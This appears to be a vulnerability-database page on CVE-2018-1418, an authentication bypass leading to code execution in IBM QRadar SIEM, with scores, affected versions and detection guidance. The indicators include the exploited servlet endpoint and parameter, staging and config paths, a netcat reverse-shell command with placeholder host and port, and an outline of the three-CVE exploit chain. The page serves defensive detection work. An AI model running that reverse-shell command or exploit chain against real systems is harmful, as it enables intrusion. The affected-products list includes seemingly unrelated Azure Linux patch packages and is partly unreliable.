cbcvebase.
CVE-2018-1418
published 2018-04-26

CVE-2018-1418: IBM Security QRadar SIEM 7.2 and 7.3 could allow a user to bypass authentication which could lead to code execution. IBM X-Force ID: 138824.

PriorityP273high8.8CVSS 3.0
AVNACLPRLUINSUCHIHAH
EXPLOIT
EPSS
52.07%
98.8th percentile
IBM Security QRadar SIEM 7.2 and 7.3 could allow a user to bypass authentication which could lead to code execution. IBM X-Force ID: 138824.

Affected

23 ranges
VendorProductVersion rangeFixed in
ibmqradar_security_information_and_event_manager
ibmqradar_security_information_and_event_manager
ibmqradar_security_information_and_event_manager
ibmqradar_security_information_and_event_manager>= 7.2.0 < 7.2.87.2.8
ibmsecurity_qradar_siem
ibmsecurity_qradar_siem
msrcazl3_patch_2.7.6-9_on_azure_linux_3.0
msrccbl2_patch_2.7.6-7_on_cbl_mariner_2.0
msrccbl_mariner_1.0_arm
msrccbl_mariner_1.0_x64
msrccbl_mariner_2.0_arm
msrccbl_mariner_2.0_x64
msrccm1_patch_2.7.6-7_on_cbl_mariner_1.0
msrcpatch-2.7.6-7.cm1.aarch64.rpm_on_cbl_mariner_1.0_arm
msrcpatch-2.7.6-7.cm1.x86_64.rpm_on_cbl_mariner_1.0_x64
msrcpatch-2.7.6-7.cm2.aarch64.rpm_on_cbl_mariner_2.0_arm
msrcpatch-2.7.6-7.cm2.x86_64.rpm_on_cbl_mariner_2.0_x64
msrcpatch-2.7.6-9.azl3.aarch64.rpm_on_azure_linux_3.0_arm
msrcpatch-2.7.6-9.azl3.x86_64.rpm_on_azure_linux_3.0_x64
msrcpatch-debuginfo-2.7.6-7.cm1.aarch64.rpm_on_cbl_mariner_1.0_arm
msrcpatch-debuginfo-2.7.6-7.cm1.x86_64.rpm_on_cbl_mariner_1.0_x64
msrcpatch-debuginfo-2.7.6-7.cm2.aarch64.rpm_on_cbl_mariner_2.0_arm
msrcpatch-debuginfo-2.7.6-7.cm2.x86_64.rpm_on_cbl_mariner_2.0_x64

Detection & IOCsextracted from sources · hover to see the quote

url/ForensicsAnalysisServlet/
cookieSEC=<uuid>; QRadarCSRF=<uuid>
url/ForensicsAnalysisServlet/?action=setSecurityTokens&forensicsManagedHostIps=<ip>
path/store/configservices/staging/updates/
path/opt/qradar/conf/nva.conf
path/opt/qradar/support/changePasswd.sh
command/usr/bin/nc -e /bin/sh <LHOST> <LPORT>
port443
port4448
  • Detect unauthenticated POST requests to /ForensicsAnalysisServlet/ with query parameter action=setSecurityTokens — this is the authentication bypass (stage 1) of the exploit chain.
  • Alert on HTTP 403 responses from /ForensicsAnalysisServlet/ — the Metasploit module uses this as a positive detection signal that the target is vulnerable.
  • Monitor for new or modified files written under /store/configservices/staging/updates/ by the 'nobody' user — this is where the stage-2 payload is written for subsequent root execution.
  • Watch for outbound netcat reverse-shell connections spawned by QRadar processes, particularly /usr/bin/nc -e /bin/sh, which is the stage-2 reverse shell command.
  • The exploit chain requires three CVEs chained together (CVE-2016-9722, CVE-2018-1418, CVE-2018-1612); correlate alerts across all three for high-confidence detection.
  • The Forensics web application code is present and exploitable even when the feature is disabled (e.g., QRadar Community Edition) — do not rely on feature-disable as a mitigation for detection scoping.
  • ·Vulnerable version scope is confirmed by IBM: QRadar 7.2.x up to 7.2.8 patch 12 and 7.3.x up to 7.3.1 patch 3.
  • ·The Metasploit module only supports generic/shell_reverse_tcp due to payload constraints imposed by the exploit chain.
  • ·Stage 3 root execution relies on a QRadar scheduled task; the attacker must wait up to ~80 seconds after stage 2 for the root shell to arrive.

CVSS provenance

nvdv3.08.8HIGHCVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vendor_msrc7.8HIGH
vendor_redhat7.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.